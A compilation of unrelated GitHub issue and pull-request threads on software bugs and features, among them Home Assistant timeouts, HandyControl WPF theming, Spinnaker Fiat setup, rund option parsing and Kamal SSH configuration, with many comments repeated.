File "/usr/local/lib/python3.10/asyncio/base_events.py", line 960, in _connect_sock
await self.sock_connect(sock, address)
File "/usr/local/lib/python3.10/asyncio/selector_events.py", line 500, in sock_connect
return await fut
asyncio.exceptions.CancelledError
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "/config/custom_components/tapo/common_setup.py", line 89, in _async_update_data
async with async_timeout.timeout(10):
File "/usr/local/lib/python3.10/site-packages/async_timeout/init.py", line 129, in aexit
self._do_exit(exc_type)
File "/usr/local/lib/python3.10/site-packages/async_timeout/init.py", line 212, in _do_exit
raise asyncio.TimeoutError
asyncio.exceptions.TimeoutError
The above exception was the direct cause of the following exception:
Traceback (most recent call last):
File "/usr/src/homeassistant/homeassistant/helpers/update_coordinator.py", line 205, in _async_refresh
self.data = await self._async_update_data()
File "/config/custom_components/tapo/common_setup.py", line 92, in _async_update_data
raise UpdateFailed() from exception
homeassistant.helpers.update_coordinator.UpdateFailed
The above exception was the direct cause of the following exception:
Traceback (most recent call last):
File "/usr/src/homeassistant/homeassistant/helpers/entity_platform.py", line 281, in _async_setup_platform
await asyncio.shield(task)
File "/config/custom_components/tapo/light.py", line 43, in async_setup_platform
coordinator = await setup_tapo_coordinator_from_dictionary(hass, config)
File "/config/custom_components/tapo/common_setup.py", line 31, in setup_tapo_coordinator_from_dictionary
return await setup_tapo_coordinator(
File "/config/custom_components/tapo/common_setup.py", line 57, in setup_tapo_coordinator
await coordinator.async_config_entry_first_refresh()
File "/usr/src/homeassistant/homeassistant/helpers/update_coordinator.py", line 178, in async_config_entry_first_refresh
raise ex
homeassistant.exceptions.ConfigEntryNotReady

Same issuee

Same issuee

I closed this as it turned out to be quite a simple fix for me. I updated Home Assistant to the most latest version and rebooted everything again... Seemed to sort it. I thought I was on the latest version but I think I was one release off


How to apply theme to all windows?

I'm using the code provided in the documentation (wiki) to apply theme for my application as shown in below code:
public void UpdateSkin(SkinType skin)
        {
            SharedResourceDictionary.SharedDictionaries.Clear();
            Resources.MergedDictionaries.Add(ResourceHelper.GetSkin(skin));
            Resources.MergedDictionaries.Add(new ResourceDictionary
            {
                Source = new Uri("pack://application:,,,/HandyControl;component/Themes/Theme.xaml")
            });
            Current.MainWindow?.OnApplyTemplate();
        }

But only the MainWindow's theme changes when I change the theme at runtime the other windows are set to light colored theme.
If I understand the code properly Current.MainWindow?.OnApplyTemplate(); is what causes the theme to be applied to the MainWindow and MainWindow only. Am I right?
How do I apply the theme for all windows (application wide) and not just for the main window?

I'm using the code provided in the documentation (wiki) to apply theme for my application as shown in below code:
public void UpdateSkin(SkinType skin)
        {
            SharedResourceDictionary.SharedDictionaries.Clear();
            Resources.MergedDictionaries.Add(ResourceHelper.GetSkin(skin));
            Resources.MergedDictionaries.Add(new ResourceDictionary
            {
                Source = new Uri("pack://application:,,,/HandyControl;component/Themes/Theme.xaml")
            });
            Current.MainWindow?.OnApplyTemplate();
        }

But only the MainWindow's theme changes when I change the theme at runtime the other windows are set to light colored theme.
If I understand the code properly Current.MainWindow?.OnApplyTemplate(); is what causes the theme to be applied to the MainWindow and MainWindow only. Am I right?
How do I apply the theme for all windows (application wide) and not just for the main window?

Everything works well

I'm using the code provided in the documentation (wiki) to apply theme for my application as shown in below code:
public void UpdateSkin(SkinType skin)
        {
            SharedResourceDictionary.SharedDictionaries.Clear();
            Resources.MergedDictionaries.Add(ResourceHelper.GetSkin(skin));
            Resources.MergedDictionaries.Add(new ResourceDictionary
            {
                Source = new Uri("pack://application:,,,/HandyControl;component/Themes/Theme.xaml")
            });
            Current.MainWindow?.OnApplyTemplate();
        }

But only the MainWindow's theme changes when I change the theme at runtime the other windows are set to light colored theme.
If I understand the code properly Current.MainWindow?.OnApplyTemplate(); is what causes the theme to be applied to the MainWindow and MainWindow only. Am I right?
How do I apply the theme for all windows (application wide) and not just for the main window?

Everything works well

Is there something I have to put in the xaml of the secondary window for the theme to work?

I'm using the code provided in the documentation (wiki) to apply theme for my application as shown in below code:
public void UpdateSkin(SkinType skin)
        {
            SharedResourceDictionary.SharedDictionaries.Clear();
            Resources.MergedDictionaries.Add(ResourceHelper.GetSkin(skin));
            Resources.MergedDictionaries.Add(new ResourceDictionary
            {
                Source = new Uri("pack://application:,,,/HandyControl;component/Themes/Theme.xaml")
            });
            Current.MainWindow?.OnApplyTemplate();
        }

But only the MainWindow's theme changes when I change the theme at runtime the other windows are set to light colored theme.
If I understand the code properly Current.MainWindow?.OnApplyTemplate(); is what causes the theme to be applied to the MainWindow and MainWindow only. Am I right?
How do I apply the theme for all windows (application wide) and not just for the main window?

Everything works well

Is there something I have to put in the xaml of every window for the theme to work?

No.
If you attach a project example that has a problem, we can better solve your problem
Anyway, I think you used the background in your Windows
If you use the color in the background (Background="white"), the theme will not be applied, you must either delete the color or use the colors in HandyControl as a dynamic resource. (Background="{DynamicResource RegionBrush}")

Similar issue, why this does not work?
public class ThemeManager : IThemeService {
    private const string SkinResourcePrefix = "pack://application:,,,/HandyControl;component/Themes/Skin";
    private const string ThemeResource = "pack://application:,,,/HandyControl;component/Themes/Theme.xaml";

    public void ChangeSkin(SkinType type) {
        var appMergedDictionaries = App.Current.Resources.MergedDictionaries;

        var skinResourceIndex = appMergedDictionaries.IndexOf(d => d.Source.OriginalString.StartsWith(SkinResourcePrefix));
        appMergedDictionaries[skinResourceIndex].MergedDictionaries.Clear();
        appMergedDictionaries[skinResourceIndex].MergedDictionaries.Add(new ResourceDictionary {
            Source = new Uri($"{SkinResourcePrefix}{type}.xaml", UriKind.Absolute)
        });

        var themeResourceIndex = appMergedDictionaries.IndexOf(d => d.Source.OriginalString == ThemeResource);
        appMergedDictionaries[themeResourceIndex].MergedDictionaries.Clear();
        appMergedDictionaries[themeResourceIndex].MergedDictionaries.Add(new ResourceDictionary {
            Source = new Uri(ThemeResource, UriKind.Absolute)
        });

        App.Current.MainWindow.OnApplyTemplate();
    }
}

Screenshot for easy reading:

Similar issue, why this does not work?
public class ThemeManager : IThemeService {
    private const string SkinResourcePrefix = "pack://application:,,,/HandyControl;component/Themes/Skin";
    private const string ThemeResource = "pack://application:,,,/HandyControl;component/Themes/Theme.xaml";

    public void ChangeSkin(SkinType type) {
        var appMergedDictionaries = App.Current.Resources.MergedDictionaries;

        var skinResourceIndex = appMergedDictionaries.IndexOf(d => d.Source.OriginalString.StartsWith(SkinResourcePrefix));
        appMergedDictionaries[skinResourceIndex].MergedDictionaries.Clear();
        appMergedDictionaries[skinResourceIndex].MergedDictionaries.Add(new ResourceDictionary {
            Source = new Uri($"{SkinResourcePrefix}{type}.xaml", UriKind.Absolute)
        });

        var themeResourceIndex = appMergedDictionaries.IndexOf(d => d.Source.OriginalString == ThemeResource);
        appMergedDictionaries[themeResourceIndex].MergedDictionaries.Clear();
        appMergedDictionaries[themeResourceIndex].MergedDictionaries.Add(new ResourceDictionary {
            Source = new Uri(ThemeResource, UriKind.Absolute)
        });

        App.Current.MainWindow.OnApplyTemplate();
    }
}

Screenshot for easy reading:

@GF-Huang  I did not test your code but it looks like you did not write the file extension
change this line
   private const string SkinResourcePrefix = "pack://application:,,,/HandyControl;component/Themes/Skin";
to
   private const string SkinResourcePrefix = "pack://application:,,,/HandyControl;component/Themes/Skin.xaml";

@GF-Huang  I did not test your code but it looks like you did not write the file extension
change this line
   private const string SkinResourcePrefix = "pack://application:,,,/HandyControl;component/Themes/Skin";
to
   private const string SkinResourcePrefix = "pack://application:,,,/HandyControl;component/Themes/Skin.xaml";

It's write the tail at here.

It's write the tail at here.

Why are you not using the following code?
SharedResourceDictionary.SharedDictionaries.Clear();
            Resources.MergedDictionaries.Add(ResourceHelper.GetSkin(type));
            Resources.MergedDictionaries.Add(new ResourceDictionary
            {
                Source = new Uri("pack://application:,,,/HandyControl;component/Themes/Theme.xaml")
            });

Why are you making it so complicated?
Why are you not using the following code?
SharedResourceDictionary.SharedDictionaries.Clear();
            Resources.MergedDictionaries.Add(ResourceHelper.GetSkin(type));
            Resources.MergedDictionaries.Add(new ResourceDictionary
            {
                Source = new Uri("pack://application:,,,/HandyControl;component/Themes/Theme.xaml")
            });

I don't know.. There's not docs talking about themes..

I don't know.. There's not docs talking about themes..

I don't know.. There's no docs talking about themes..

https://ghost1372.github.io/handycontrol/theme/

I don't know.. There's no docs talking about themes..

https://ghost1372.github.io/handycontrol/theme/

I think I should moving from HandyControl to HandyControls... Dam..

I think I should moving from HandyControl to HandyControls... Dam..

Theme documentation is also valid for HandyControl You should not have a problem

Theme documentation is also valid for HandyControl You should not have a problem

So the Chinese docs is out of date?

So the Chinese docs is out of date?

Yes, the Chinese documentation is very old
Documents related to HandyControls have been identified

Yes, the Chinese documentation is very old
Documents related to HandyControls have been identified

Now, the skin changine works, but can these safe to ignore? It happens when I change skin by hc:ComboBox.
System.Windows.Data Error: 4 : Cannot find source for binding with reference 'RelativeSource FindAncestor, AncestorType='System.Windows.Controls.ItemsControl', AncestorLevel='1''. BindingExpression:Path=HorizontalContentAlignment; DataItem=null; target element is 'ComboBoxItem' (Name=''); target property is 'HorizontalContentAlignment' (type 'HorizontalAlignment')
System.Windows.Data Error: 4 : Cannot find source for binding with reference 'RelativeSource FindAncestor, AncestorType='System.Windows.Controls.ItemsControl', AncestorLevel='1''. BindingExpression:Path=VerticalContentAlignment; DataItem=null; target element is 'ComboBoxItem' (Name=''); target property is 'VerticalContentAlignment' (type 'VerticalAlignment')

Now, the skin changine works, but can these safe to ignore? It happens when I change skin by hc:ComboBox.
System.Windows.Data Error: 4 : Cannot find source for binding with reference 'RelativeSource FindAncestor, AncestorType='System.Windows.Controls.ItemsControl', AncestorLevel='1''. BindingExpression:Path=HorizontalContentAlignment; DataItem=null; target element is 'ComboBoxItem' (Name=''); target property is 'HorizontalContentAlignment' (type 'HorizontalAlignment')
System.Windows.Data Error: 4 : Cannot find source for binding with reference 'RelativeSource FindAncestor, AncestorType='System.Windows.Controls.ItemsControl', AncestorLevel='1''. BindingExpression:Path=VerticalContentAlignment; DataItem=null; target element is 'ComboBoxItem' (Name=''); target property is 'VerticalContentAlignment' (type 'VerticalAlignment')

Now, the skin changine works, but can these safe to ignore? It happens when I change skin by hc:ComboBox.
System.Windows.Data Error: 4 : Cannot find source for binding with reference 'RelativeSource FindAncestor, AncestorType='System.Windows.Controls.ItemsControl', AncestorLevel='1''. BindingExpression:Path=HorizontalContentAlignment; DataItem=null; target element is 'ComboBoxItem' (Name=''); target property is 'HorizontalContentAlignment' (type 'HorizontalAlignment')
System.Windows.Data Error: 4 : Cannot find source for binding with reference 'RelativeSource FindAncestor, AncestorType='System.Windows.Controls.ItemsControl', AncestorLevel='1''. BindingExpression:Path=VerticalContentAlignment; DataItem=null; target element is 'ComboBoxItem' (Name=''); target property is 'VerticalContentAlignment' (type 'VerticalAlignment')

this is combobox issue I think it was created after adding a empty layout

Now, the skin changine works, but can these safe to ignore? It happens when I change skin by hc:ComboBox.
System.Windows.Data Error: 4 : Cannot find source for binding with reference 'RelativeSource FindAncestor, AncestorType='System.Windows.Controls.ItemsControl', AncestorLevel='1''. BindingExpression:Path=HorizontalContentAlignment; DataItem=null; target element is 'ComboBoxItem' (Name=''); target property is 'HorizontalContentAlignment' (type 'HorizontalAlignment')
System.Windows.Data Error: 4 : Cannot find source for binding with reference 'RelativeSource FindAncestor, AncestorType='System.Windows.Controls.ItemsControl', AncestorLevel='1''. BindingExpression:Path=VerticalContentAlignment; DataItem=null; target element is 'ComboBoxItem' (Name=''); target property is 'VerticalContentAlignment' (type 'VerticalAlignment')

this is combobox issue I think it was created after adding a empty layout


[SPARK-50287][SQL] Merge options of table and relation when creating WriteBuilder in FileTable

What changes were proposed in this pull request?

Merge options of table and relation when creating WriteBuilder in FileTable.
Why are the changes needed?

Similar to SPARK-49519 which fixes the read path.
Does this PR introduce any user-facing change?

FileTable's options are accounted on the V2 write path now, but given the built-in file formats use V1 by default, it has no real effect.
How was this patch tested?

UT is updated to cover the case.
Was this patch authored or co-authored using generative AI tooling?

No.

cc @liujiayi771 @cloud-fan @dongjoon-hyun

thanks, merging to master!


Apropos error when building from .xcodeproj instead of .xcworkspace

Users sometimes accidentally build their project from the .xcodproj instead of the .xcworkspace which will result in linker errors if they are using plugins.
Ideally, instead of getting linker errors, we could print out an error that the project should be built from the .xcworkspace instead.
Example issue: https://github.com/flutter/flutter/issues/51992

Duplicate of https://github.com/flutter/flutter/issues/10770.


Fiat not starting automatically

Page: /setup/security/authorization/
Feedback:I've noticed there are some missing important notes here.

Fiat service will not start automatically, even after you deploy with authz configure. for example:

configure authn via github
hal config security authn oauth2 edit --provider github --client-id xxx --client-secret xxx
hal config security authn oauth2
hal config security authn oauth2 enable
sudo hal deploy apply
TOKEN=xxxx
ORG=xxxx
configure authz via github
hal config security authz github edit
--accessToken $TOKEN
--organization $ORG
--baseUrl https://api.github.com
hal config security authz edit --type github
hal config security authz enable
sudo hal deploy apply
You will continue to see "Failed to connect to localhost/<IP_ADDRESS>:7003" until fiat is properly started via systemctl:
sudo systemctl enable spinnaker.service
sudo systemctl restart spinnaker.service
Also, had to set fiat to true in .hal/config
features:
fiat: true

Thanks, I sorted out all my issues and spinnaker running great!


new task for config pod density

1. Issue, if available:
#1216
2. Description of changes:
add task for configuring pod density
3. How was this change tested?
n/a
4. Does this change impact docs?

[x] Yes, PR includes docs updates
[ ] Yes, issue opened: link to issue
[ ] No

By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.

Thanks for this detailed review @mikesir87 I understand it better now :)


Session timeout should save answers

What is the context of this PR?
Session timeout should save answers when user clicks save and sign out.
If a user times out before clicking save and sign out all answers but the latest page they had timed out on should be saved
How to review
Verify timeout.spec.js tests the scenario correctly

Stick a "fixes" in the PR text so it closes the issue when its merged

Tell travis that @collisdigital. Fix one intermittent timeout test another one fails.

I lied. It was broken from the rebase. test_timeout.json now needs a summary block.

👍

Fixes #991


sync-up from master branch

BEAM-2672 requires a new function added in #3628

R: @jbonofre

Changes Unknown when pulling e206b1a41c1f22330cb78fd1082425ea1e74dbb4 on master into ** on DSL_SQL**.

Changes Unknown when pulling 892a2cf5b0f83fcc4cdc2ae75131350735749309 on master into ** on DSL_SQL**.

Changes Unknown when pulling 68bb7c0f53eff719224e42ed10e1cfe7414d2770 on master into ** on DSL_SQL**.

Changes Unknown when pulling 6ca53055be7049ecb9c93d8ff89652a1880f0c9b on master into ** on DSL_SQL**.

Changes Unknown when pulling da3b8bfde7d1b3baa31f0b7cce072d98eaf00d7e on master into ** on DSL_SQL**.

Changes Unknown when pulling 1f2634d23bfa5b32d88cef236f2080df79e5e47d on master into ** on DSL_SQL**.

Changes Unknown when pulling 540fa9b4246f2e680b6550537c4dda575e5cf71f on master into ** on DSL_SQL**.

Changes Unknown when pulling 95a2eadad1e4f506b9fb9dacf51b4f78b89ef9f6 on master into ** on DSL_SQL**.

Changes Unknown when pulling 870551ccc20a5b47917a1d8aa3e310c95dfd2394 on master into ** on DSL_SQL**.

Changes Unknown when pulling 2816b15eef404420cf015a4345ddbe8e46867578 on master into ** on DSL_SQL**.

Changes Unknown when pulling 3c81766e254d12cac3b21a60007b35cfea34a28a on master into ** on DSL_SQL**.

Changes Unknown when pulling 9582840bc339046605bc32993649c3a0ca6c420d on master into ** on DSL_SQL**.

Changes Unknown when pulling 8ac796c5e298c77cc4586503a003ac459fad3550 on master into ** on DSL_SQL**.

Changes Unknown when pulling 8ac796c5e298c77cc4586503a003ac459fad3550 on master into ** on DSL_SQL**.

Changes Unknown when pulling 8ac796c5e298c77cc4586503a003ac459fad3550 on master into ** on DSL_SQL**.

Changes Unknown when pulling d2133d34ba9cff035a5e557f1a981013a162cf53 on master into ** on DSL_SQL**.

Changes Unknown when pulling 38f18906335c5ed4cebd1dddb6f94688589670a4 on master into ** on DSL_SQL**.

Changes Unknown when pulling 38f18906335c5ed4cebd1dddb6f94688589670a4 on master into ** on DSL_SQL**.

Changes Unknown when pulling 72bd73ab35a58a9473e8d78054e1c30d0a391508 on master into ** on DSL_SQL**.

Changes Unknown when pulling f731de0b357bc5eccee565271ade96e1946bf0bd on master into ** on DSL_SQL**.

Changes Unknown when pulling 8d337ff0ed16ab7f9c7355d744d7601d88f45e2b on master into ** on DSL_SQL**.

Changes Unknown when pulling df36bd9d7979bd6956ec299a6f63d5a0237d031a on master into ** on DSL_SQL**.

Changes Unknown when pulling 2fa4fdecd8ef06534e369e527b15ae8193823c8b on master into ** on DSL_SQL**.

Changes Unknown when pulling f5714f2203974a0f97f778d62a82678025bd425e on master into ** on DSL_SQL**.

Changes Unknown when pulling 9ed2cf41f1f068b3b27e9a814d6f7ceed3406dbf on master into ** on DSL_SQL**.

Changes Unknown when pulling db4b0939afe4410f3dbe60c1dc33d3c6f02ce420 on master into ** on DSL_SQL**.

Changes Unknown when pulling 04f5bc6f805868f9ed1494128b90d33bb2fe0e66 on master into ** on DSL_SQL**.

Changes Unknown when pulling 7a34042c03eba68a759f4e17a34b1469882972ac on master into ** on DSL_SQL**.

Changes Unknown when pulling 7a34042c03eba68a759f4e17a34b1469882972ac on master into ** on DSL_SQL**.

Changes Unknown when pulling cd4f5a27c52c2be5c86cb62e558bd577c58047e1 on master into ** on DSL_SQL**.

Changes Unknown when pulling 4e01fc1acf1df36fb43ccf3f171e5a36147280a1 on master into ** on DSL_SQL**.

Changes Unknown when pulling 9088a3e39e79f0b931fd3eec629df1c5e6ef6911 on master into ** on DSL_SQL**.

Changes Unknown when pulling 07e8cd5fce8bd7aff0b6b7304412c8d3e2abf997 on master into ** on DSL_SQL**.

Changes Unknown when pulling d035a345fe4f281761c03dda2cec39e648149a68 on master into ** on DSL_SQL**.

Changes Unknown when pulling 84a23793c5009afcaf40b068757d079fccbc6a76 on master into ** on DSL_SQL**.

Changes Unknown when pulling b0b64218257576ef20601fd31e075e4a8e297a60 on master into ** on DSL_SQL**.

Changes Unknown when pulling f7e8f886c91ea9d0b51e00331eeb4484e2f6e000 on master into ** on DSL_SQL**.

Changes Unknown when pulling f7e8f886c91ea9d0b51e00331eeb4484e2f6e000 on master into ** on DSL_SQL**.

Changes Unknown when pulling 3a8b0b68c11a73761e3d72b026962f77b743f7e9 on master into ** on DSL_SQL**.

Changes Unknown when pulling 724eda37ea1e54aac089d89c711ca3cee14a4603 on master into ** on DSL_SQL**.

close for further tasks


If httprouter use select or poll or epoll ??

If httprouter use select or poll or epoll ??

Neither. httprouter only does request routing, everything else is done by net/http or whatever alternative package is used.


[AERIE-2067] Return associated parameters in validation responses

Tickets addressed: AERIE-2067
Review: By commit
Merge strategy: Merge (no squash)

Description
This PR introduces @Validation.Subject to associated existing @Validation annotations with parameter names.
These associated validation failures are now reported through the validateActivityArguments and validateModelArguments Hasura endpoints.
With this PR the UI may now display per-parameter validation messages.
Verification

Validation Failure
  @Validation("Gluten-free bread must be baked at a temperature >= 100")
  @Validation.Subject({"glutenFree", "temperature"})
  public boolean validateGlutenFreeTemperature() {
    return !glutenFree || temperature >= 100;
  }

With:
  validateActivityArguments
  (
    missionModelId: 1,
    activityTypeName: "BakeBananaBread",
    activityArguments: { tbSugar: 34, glutenFree: true, temperature: 99 }
  ) {
    success
    errors {
      subjects
      message
    }
  }

Results in:
{
  "data": {
    "validateActivityArguments": {
      "success": false,
      "errors": [
        {
          "subjects": [
            "glutenFree",
            "temperature"
          ],
          "message": "Gluten-free bread must be baked at a temperature >= 100"
        }
      ]
    }
  }
}

Invalid Associated Parameter Name
Upon javac compilation
  @Validation("Temperature must be positive")
  @Validation.Subject({"no_such", "temperature", "bad"})
  public boolean validateTemperature() {
    return this.temperature() > 0;
  }

Results in:
.../BakeBananaBreadActivity.java:10: error: Validation subjects for validation "validateTemperature" do not exist: "bad", "no_such"
public record BakeBananaBreadActivity(double temperature, int tbSugar, boolean glutenFree) {
       ^
...

Documentation
TODO: will complete documentation prior to full PR approval & merge.
Future work

Report activity argument validations in activity_directive.validations (https://jira.jpl.nasa.gov/browse/AERIE-2066).
Update UI to ingest new validateActivityArguments and validateModelArguments response type with names and message fields (@camargo).

Sweet. Thanks for the quick turnaround!

Right back at ya with the quick review! Thanks!


LST-LGA vs LST-AI: Comparisons

Hello Developers! Thank you for the open-source toolbox. It is amazing to see the potential of LST-AI in segmenting the WMH volumes and further classifying the lesions based on location.
I work as a Research Assistant for the SANSCOG study and have been working on WMH segmentation for quite a long. We had earlier used LST-LGA to perform WMH segmentation and found surprising results when LST reported, for approximately 29% (~428) of the subjects (N=1600), to have "zero" lesion volume. We cross-verified the T2F scans and compared the results with Fazekas Scores, graded by the Radiologist. There was agreement in most of the cases. Recently, we again performed WMH segmentation with LST-AI and found that subjects with "zero" lesion volume (as reported by LST-LGA) now had reported lesion volume by LST-AI. Only 4 subjects reported "zero" lesion volume with LST-AI.
Overall, there seems to be a significant correlation between the values reported by LST-LGA and LST-AI (rho = 0.5, p < 0.001). Still, LST-AI seems to overestimate the reported lesion volumes of LST-LGA. I am a little bit confused now as to which toolbox we should use for the WMH segmentation.
Any suggestions are welcomed! You can always reach me at<EMAIL_ADDRESS>for further details and any ideas for validating the toolboxes. Thank you!

Thank you for getting back @twiltgen. I will be attending AAIC 2024 and would not be able to carry out the proposed actions. However, after coming back from the conference, I will take a look at it and update you as well.


Add the --od option (main output file directory)

I also added a test to make sure that option --od uses the "buildWitness".  I need to make sure we also test that the buildWitness is used with all combinations of -o* switches.

Doesn't seem to work:
$ rund --od. prog
Error: unrecognized switch '--od.'
       run 'dmd -man' to open browser on manual

Also, something seems to have gone wrong with -od:
$ echo 'void main() {}' > prog.d

$ rund -od. prog

$ rund -od. prog
Usage: rund [rund/compiler options]... program.d [program options]...

[...]

On the second invocation it is confused by the presence of prog in the same directory.
Could we maybe go back to getting rdmd to understand dmd -I? Was there anything missing in your pull request? Maybe I can finish it?

--od. doesn't work because I haven't decided that rund should support different ways of giving option arguments yet.  Supporting the omission of = also paints you into a corner if you ever want another switch starting with the same thing, --odd...is that --od=d or a new option --odd?  Because of the last problem...if we were to add another way to support option arguments, I'd be more inclined to support --od <dir>, especially since some shells don't support tab-completion with --od=<dir>.

On the second invocation it is confused by the presence of prog in the same directory.

For this issue, we should take a look at the algorithm rund uses to find the main source file and see if it can be improved.  The use case you've brought up is quite unexpected for the user.  I'll summarize the algorithm and we can decide how to move forward:

for each command line argument starting from the leftmost
does it start with -? If so, then check if it's a rund option, if it's not recognized forward to the compiler.
else (doesn't start with -), must be a file, get its attributes
if it doesn't exist and doesn't end in ".d", try appending ".d"
if it is a symbolic link, resolve it
if the final file ends in ".d", then it's our main source file...stop processing arguments, otherwise, it must be a file that should be passed to the compiler

So after you compiled prog.d the first time it saw that prog was already a file so it didn't append .d.  Since it was a file and didn't end in .d, rund assumes this must be a file meant for the compiler, it could be a library or some other type of input file the compiler supports.
Some things to consider.  As the algorithm stands today, rund doesn't need to know the underlying compiler's command line interface, except for the options it uses.  This means rund will still work with new compilers even if they add/change their arguments so long as they don't remove support for the ones rund relies on.

Could we maybe go back to getting rdmd to understand dmd -I? Was there anything missing in your pull request? Maybe I can finish it?

PR is here https://github.com/dlang/tools/pull/292. I recall that I had gotten it working somewhat using output from -v, but realized that had problems cause now error messages wouldn't get back to the user.  So I was waiting for the new json output (which rund now uses).  If you want to finish it you are welcome...feel free to take anything from rund if you like as well. But be warned that its not going to be easy...I put a lot of work into it and I felt like we needed to really beef up the testing before releasing it.

Actually, now that I'm looking at the PR...it looks like I may have already added JSON support :)

Also...rdmd has alot of bugs already that were fixed with rund....I don't remember them all but as I refactored the code I remember seeing quite a few of them.

--od. doesn't work because I haven't decided that rund should support different ways of giving option arguments yet.

Ah, OK. Maybe being more explicit about it would help.
The only double-dash switches DMD has are --help and --version, so it's safe to assume that any switch starting with -- is meant for rund, and if rund doesn't recognize it, it might as well complain about it.

The use case you've brought up is quite unexpected for the user.

Sorry, do you mean that the use case is unusual? Because I disagree, I don't see anything unusual about that session, and rund's behavior is surprising.

So after you compiled prog.d the first time it saw that prog was already a file so it didn't append .d. Since it was a file and didn't end in .d, rund assumes this must be a file meant for the compiler, it could be a library or some other type of input file the compiler supports.

In any case, dmd does the same thing with file names without an extension: it appends .d. So, it can be safe to assume that passing a file without an extension to dmd is nonsensical.

PR is here dlang/tools#292. I recall that I had gotten it working somewhat using output from -v, but realized that had problems cause now error messages wouldn't get back to the user. So I was waiting for the new json output (which rund now uses). If you want to finish it you are welcome...feel free to take anything from rund if you like as well. But be warned that its not going to be easy...I put a lot of work into it and I felt like we needed to really beef up the testing before releasing it.

Thanks!

Sorry, do you mean that the use case is unusual? Because I disagree, I don't see anything unusual about that session, and rund's behavior is surprising.

No I meant unexpected behavior...it's a good use case to address.

In any case, dmd does the same thing with file names without an extension: it appends .d. So, it can be safe to assume that passing a file without an extension to dmd is nonsensical.

OH!  Well that makes it easy then!

Thanks! I'll give it a go.

FYI...I realized that fix broke symbolic links:
$ echo 'void main() {}' > prog.d
$ ln -s prog.d prog_link
$ rund prog_link
rund: Error: prog_link.d doesn't exist

But luckily with the new assumption that files with no extensions must be D source files...I was still able to modify the algorithm to work correctly...I've update the PR if you want to test anything else.


Fix broken AndroidX and Apache Commons CSV imports

Description
PR #2314 was breaking the build:

It reverted the androidx.* imports to android.support.* in ProductListsActivity
It imported com.opencsv.* instead of org.apache.commons.csv.* in ProductListsActivity

The present PR:

Fixes the import issues
Aligns the code layout with the coding style recommendations
Tries not to mess with the actual implementation details of PR #2314 except where necessary

Related issues and discussion
Fixes the import issues introduced by PR #2314

Thanks a lot @elouataoui and congratulations on your first OFF PR :-)
I've assigned @deniger to review it.


Integrate crossplatform audio method

We need to find a flexible method for providing consistent crossplatform audio.
Considerations:

Runtime-unique audio handlers
Universal audio library, preferably ManagedBass

We are going to go with ManagedBass for our audio wrapper, and a base implementation is currently sitting in the audio branch, but it is unstable and shouldn't be used. Closing for now, will reopen if any major changes occur.


User/mark zagorski msft/v2.0

Update code to v2.0.

No compatibility between v1.0 and v2.0 diffs. However, anything you previously diffed using v1.0 should also be possible to separately diff using v2.0.
Improve diff core code to be more stable and resilient for usage in multithreading scenarios.
Change internal model for handling 'nested' archives. Instead of having a diff within a diff that is processed recursively, the diff generation process will examine all archives contained within parent archives and then combine the parsed information into one holistic view of the whole and be able to generate diffs between items in different archives at arbitrary organizational layers. If an archive S contains sub-archives A and B and another archive, T, contains C, D and E, we will be able to generate diffs between items occurring any of these archives when diffing S and T. Previous implementation looked for paired archives, so we would necessitate that T contains a newer version of A and B and then only diff content between the related archives.
Add new pipelines for building signed content.
Add set of new scripts for building and testing binaries that are used in pipelines so that developer build loop is near identical to pipeline (as it just calls the same scripts).
Switch to using zip instead of zstd for recompression - zstd is not committed to maintaining deterministic diffs between versions, so this was necessary, whereas zip is stable.
Add support for recompression on windows.

For this:
No compatibility between v1.0 and v2.0 diffs - Anything diffable in the old code should be diffable in the new code.
The two parts of the sentence at first seemed to me to contradict each other. First part says "not compatible", second part says "old code and new code work the same". Reading more carefully, I think what you are saying is more like:
No compatibility between v1.0 and v2.0 diffs. However, anything you previously diffed using v1.0 should also be possible to separately diff using v2.0.. Did I get that right?

For this:
No compatibility between v1.0 and v2.0 diffs - Anything diffable in the old code should be diffable in the new code.
The two parts of the sentence at first seemed to me to contradict each other. First part says "not compatible", second part says "old code and new code work the same". Reading more carefully, I think what you are saying is more like:
No compatibility between v1.0 and v2.0 diffs. However, anything you previously diffed using v1.0 should also be possible to separately diff using v2.0..
Did I get that right?

Yes, that's pretty much spot on.

If you're good with my wording, can you make that change? If you'd like to wordsmith it or improve it, let me know and I can take another look.


Overriding resource permissions

Hi,
My issue: when a resource had some state, it can't be updated or deleted. In policies is quite easy:
class QuestionPolicy
{
    use HandlesAuthorization;

    public function update(User $user, Questao $questao)
    {
        return $question->editable();
    }

    public function delete(User $user, Questao $questao)
    {
        return $question->editable();
    }

etc.

But, with this package, I had to override the authorizeTo() and authorizedTo() methods in the resource.
    public function authorizeTo(Request $request, $ability)
    {
        if (($ability == 'update' || $ability == 'delete') && static::hasPermissionsTo($request, $ability)) {
            throw_unless($this->editable(), AuthorizationException::class);
        }

        throw_unless($this->authorizedTo($request, $ability), AuthorizationException::class);
    }

    public function authorizedTo(Request $request, $ability)
    {
        if (($ability == 'update' || $ability == 'delete') && static::hasPermissionsTo($request, $ability) ) {

            return $this->editable();
        }

        return static::authorizable() ? static::hasPermissionsTo($request, $ability) : true;
    }

Is it the right approach?
Thank you!

If you want to use policies, just don't pull in the PermissionsBasedAuthTrait trait. You can't have both permissions based authorization and policies. You must choose one method.


SSH config property doesn't allow custom path

I am finding that the ssh/config property for my kamal 2.2.2 deployment doesn't actually support a custom ssh config path as described in the documentation.
# deploy.yml
ssh:
  user: ubuntu
  proxy: ubuntu@bastion
  config: ./sshconfig

# ./sshconfig
host bastion
     HostName i-000000000000000
     IdentitiesOnly yes
     IdentityFile ~/.ssh/id_ed25519
     ProxyCommand sh -c "aws ssm start-session --target %h --document-name AWS-StartSSHSession --region=us-west-2"

kamal details output:
ERROR (Kamal::ConfigurationError): ssh/config: should be a boolean

The docs clearly say that this property defaults to true to load the default OpenSSH config files, but can be set "to a file path (or array of paths) to load specific configuration". I am trying to set it to a path, but as you can see in the attached error log, it is not valid configuration.
Are there any examples of how to do this correctly?

Check out #1129

Thanks for finding that PR. I'd be very interested in this functionality being available soon. @jeremy are you able to help me finding someone to review and bring that change in?


Mysql gateway -  Alias not working for tablename

Hi @vogievetsky ,
Alias for table name doesn't seem to work. Can this be fixed asap?
[5] Got SQL: select page , sum( count ) from wikiticker AS f  where '2015-09-12T00:00:00' <= __time  and  __time < '2015-09-13T00:00:00' group by page limit 5
Failed to resolve query with Plywood.
Query:
